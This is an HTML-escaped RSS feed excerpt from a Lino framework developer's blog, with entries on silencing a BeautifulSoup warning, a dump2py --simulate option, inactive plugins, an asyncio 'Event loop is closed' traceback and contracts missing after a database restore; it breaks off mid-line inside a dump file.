&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.linod.consumers.LinodConsumer&lt;/span&gt;&lt;/code&gt; had a method
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;send_push()&lt;/span&gt;&lt;/code&gt;, which looked suspect and seems unused. I renamed it to
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;unused_send_push()&lt;/span&gt;&lt;/code&gt; to see whether something breaks.&lt;/p&gt;
&lt;p&gt;I found a more or less satisfying answer to yesterday’s expert quiz: The
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was setting
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_multiprocessing&lt;/span&gt;&lt;/code&gt; to False in order to disable notifications. But this
site attribute is no longer used, we now want to set &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_linod&lt;/span&gt;&lt;/code&gt; to
&lt;cite&gt;False&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="markupresembleslocatorwarning"&gt;
&lt;h2&gt;MarkupResemblesLocatorWarning&lt;a class="headerlink" href="#markupresembleslocatorwarning" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I got a MarkupResemblesLocatorWarning and finally found out why it came and how
to get rid of it.&lt;/p&gt;
&lt;p&gt;The warning:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;.../&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.10&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bs4&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;436&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;MarkupResemblesLocatorWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt; &lt;span class="n"&gt;looks&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;like&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="n"&gt;than&lt;/span&gt; &lt;span class="n"&gt;markup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;want&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="k"&gt;pass&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;filehandle&lt;/span&gt; &lt;span class="n"&gt;into&lt;/span&gt; &lt;span class="n"&gt;Beautiful&lt;/span&gt; &lt;span class="n"&gt;Soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;warnings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Why it comes: when you ask BeautifulSoup to parse a text like “See [url
&lt;a class="reference external" href="http://www.example.com"&gt;http://www.example.com&lt;/a&gt;].”, they estimate that your markup “resembles a filename
closely enough to justify a warning”.&lt;/p&gt;
&lt;p&gt;How to get rid of it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;bs4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MarkupResemblesLocatorWarning&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;warnings&lt;/span&gt;
&lt;span class="n"&gt;warnings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filterwarnings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ignore&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MarkupResemblesLocatorWarning&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0108.html</guid><pubDate>Sun, 08 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Saturday, January 7, 2023</title><link>https://luc.lino-framework.org/blog/2023/0107.html</link><description>&lt;section id="saturday-january-7-2023"&gt;
&lt;h1&gt;Saturday, January 7, 2023&lt;a class="headerlink" href="#saturday-january-7-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="en-passant"&gt;
&lt;h2&gt;En passant&lt;a class="headerlink" href="#en-passant" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yesterday and today, while trying to understand what’s happening, I did a series
of &lt;em&gt;en passant&lt;/em&gt; changes.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="a-fake-dump2py"&gt;
&lt;h2&gt;A fake dump2py&lt;a class="headerlink" href="#a-fake-dump2py" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When upgrading a production site&lt;/p&gt;
&lt;p&gt;I wrote a new option &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#cmdoption-pm-dump2py-simulate" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--simulate&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#command-pm-dump2py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;dump2py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command and
optimized the code that causes the models &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contenttypes.ContentType&lt;/span&gt;&lt;/code&gt;,
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;sessions.Session&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.checkdata.Message&lt;/span&gt;&lt;/code&gt; to never be
dumped.&lt;/p&gt;
&lt;p&gt;There were still references to
&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0"&gt;https://docs.djangoproject.com/en/6.0&lt;/a&gt;
and
&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0"&gt;https://docs.djangoproject.com/en/6.0&lt;/a&gt;
in the docs. I replaced them by
&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0"&gt;https://docs.djangoproject.com/en/6.0&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I started a new section &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/index.html#dg-commands" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Django-admin commands&lt;/span&gt;&lt;/a&gt; in the “Reference” section of the
Developer Guide. The first commands to benefit from this reorganization are
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#command-pm-dump2py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;dump2py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/run.html#command-pm-run" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="inactive-plugins"&gt;
&lt;h2&gt;Inactive plugins&lt;a class="headerlink" href="#inactive-plugins" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I recently wrote a solution for ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4780"&gt;#4780&lt;/a&gt;, but now I optimized my
own approach. The &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.plugin.Plugin&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; class has two new methods
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;deactivate()&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_active()&lt;/span&gt;&lt;/code&gt;. When a plugin is inactive, its
database models exist but otherwise almost everything, including its actors,
becomes non-existent. The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;tinymce&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;extensible&lt;/span&gt;&lt;/code&gt; plugins now deactivate
themselves in their &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;on_init()&lt;/span&gt;&lt;/code&gt; method when the default_ui is not &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;extjs&lt;/span&gt;&lt;/code&gt;.
As a side effect, the main menu is now built using
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.sorted_plugins&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="event-loop-is-closed"&gt;
&lt;h2&gt;Event loop is closed&lt;a class="headerlink" href="#event-loop-is-closed" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When I run &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/projects/noi1r.html#dg-projects-noi1r" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;noi1r&lt;/span&gt;&lt;/a&gt;, there is a long
series of –non-fatal– tracebacks that have been there for some time:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Task&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;never&lt;/span&gt; &lt;span class="n"&gt;retrieved&lt;/span&gt;
&lt;span class="n"&gt;future&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Task&lt;/span&gt; &lt;span class="n"&gt;finished&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Task-1548&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;coro&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disconnect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;defined&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.10&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;687&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Event loop is closed&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/redis/asyncio/connection.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;696&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# type: ignore[union-attr]&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/asyncio/streams.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;338&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;close&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_transport&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/asyncio/selector_events.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;698&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;close&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_loop&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;call_soon&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_call_connection_lost&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/asyncio/base_events.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;750&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;call_soon&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_check_closed&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/asyncio/base_events.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;515&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_check_closed&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Event loop is closed&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Event&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;closed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Question to async experts: what’s happening?&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0107.html</guid><pubDate>Sat, 07 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Friday, January 6, 2023</title><link>https://luc.lino-framework.org/blog/2023/0106.html</link><description>&lt;section id="friday-january-6-2023"&gt;
&lt;h1&gt;Friday, January 6, 2023&lt;a class="headerlink" href="#friday-january-6-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="contracts-vanishing-during-restore"&gt;
&lt;h2&gt;Contracts vanishing during restore?&lt;a class="headerlink" href="#contracts-vanishing-during-restore" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;One of our customers will switch their &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-preview-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;preview site&lt;/span&gt;&lt;/a&gt; to production.
Theoretically this means simply to run their &lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; a last
time and then tell their system administrator to change the DNS entry of their
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-server" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino server&lt;/span&gt;&lt;/a&gt; to point to the new machine.&lt;/p&gt;
&lt;p&gt;But then surprise: something is still going wrong with the migration because
there are only 1811 contracts in &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;isip.Contract&lt;/span&gt;&lt;/code&gt; on the preview while there are 1859 on the
production server! And the  &lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script runs without
error message!&lt;/p&gt;
&lt;p&gt;After running &lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; there are only 1811 and not 1858
rows:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="go"&gt;1811&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (which is called from &lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) logs
the following output to stdout when running:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Execute&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;isip_contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="mi"&gt;1811&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="n"&gt;isip_contract&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Execute&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;uploads_upload&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="mi"&gt;5585&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="n"&gt;uploads_upload&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is how the  &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;isip_contract.py&lt;/span&gt;&lt;/code&gt; file looks like:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# -*- coding: UTF-8 -*-&lt;/span&gt;
&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Loading 1858 objects to table isip_contract...&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# fields: id, signer1, signer2, user, printed_by, client, language, applies_from, applies_until, date_decided, date_issued, user_asd, exam_policy, ending, date_ended, type, study_type, stages, goals, duties_asd, duties_dsbe, duties_pcsw, duties_person, user_dsbe&lt;/span&gt;
&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_isip_contract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;124&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;125&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;30&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;140&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span 